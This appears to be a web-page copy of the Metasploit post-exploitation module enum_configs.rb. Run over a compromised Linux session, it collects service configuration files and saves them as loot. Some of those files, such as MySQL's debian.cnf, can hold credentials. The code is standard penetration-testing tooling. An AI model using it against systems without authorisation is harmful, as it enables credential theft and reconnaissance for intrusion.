Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/enum_configs.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Linux::System78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Linux Gather Configurations',13'Description' => %q{14This module collects configuration files found on commonly installed15applications and services, such as Apache, MySQL, Samba, Sendmail, etc.16If a config file is found in its default path, the module will assume17that is the file we want.18},19'License' => MSF_LICENSE,20'Author' => [21'ohdae <bindshell[at]live.com>',22],23'Platform' => ['linux'],24'SessionTypes' => ['shell', 'meterpreter']25)26)27end2829def run30distro = get_sysinfo3132print_status "Running module against #{session.session_host} [#{get_hostname}]"33print_status 'Info:'34print_status "\t#{distro[:version]}"35print_status "\t#{distro[:kernel]}"3637vprint_status 'Finding configuration files...'38find_configs39end4041def save(file, data, ctype = 'text/plain')42ltype = 'linux.enum.conf'43fname = ::File.basename(file)44loot = store_loot(ltype, ctype, session, data, fname)45print_good("#{fname} stored in #{loot}")46end4748def find_configs49configs = [50'/etc/apache2/apache2.conf', '/etc/apache2/ports.conf', '/etc/nginx/nginx.conf',51'/etc/snort/snort.conf', '/etc/mysql/my.cnf', '/etc/ufw/ufw.conf',52'/etc/ufw/sysctl.conf', '/etc/security.access.conf', '/etc/shells',53'/etc/security/sepermit.conf', '/etc/ca-certificates.conf', '/etc/security/access.conf',54'/etc/gated.conf', '/etc/rpc', '/etc/psad/psad.conf', '/etc/mysql/debian.cnf',55'/etc/chkrootkit.conf', '/etc/logrotate.conf', '/etc/rkhunter.conf',56'/etc/samba/smb.conf', '/etc/ldap/ldap.conf', '/etc/openldap/openldap.conf',57'/etc/cups/cups.conf', '/etc/opt/lampp/etc/httpd.conf', '/etc/sysctl.conf',58'/etc/proxychains.conf', '/etc/cups/snmp.conf', '/etc/mail/sendmail.conf',59'/etc/snmp/snmp.conf'60]6162configs.each do |f|63output = read_file(f).to_s64next if output.strip.empty?65next if output =~ /No such file or directory/6667save(f, output)68end69end70end717273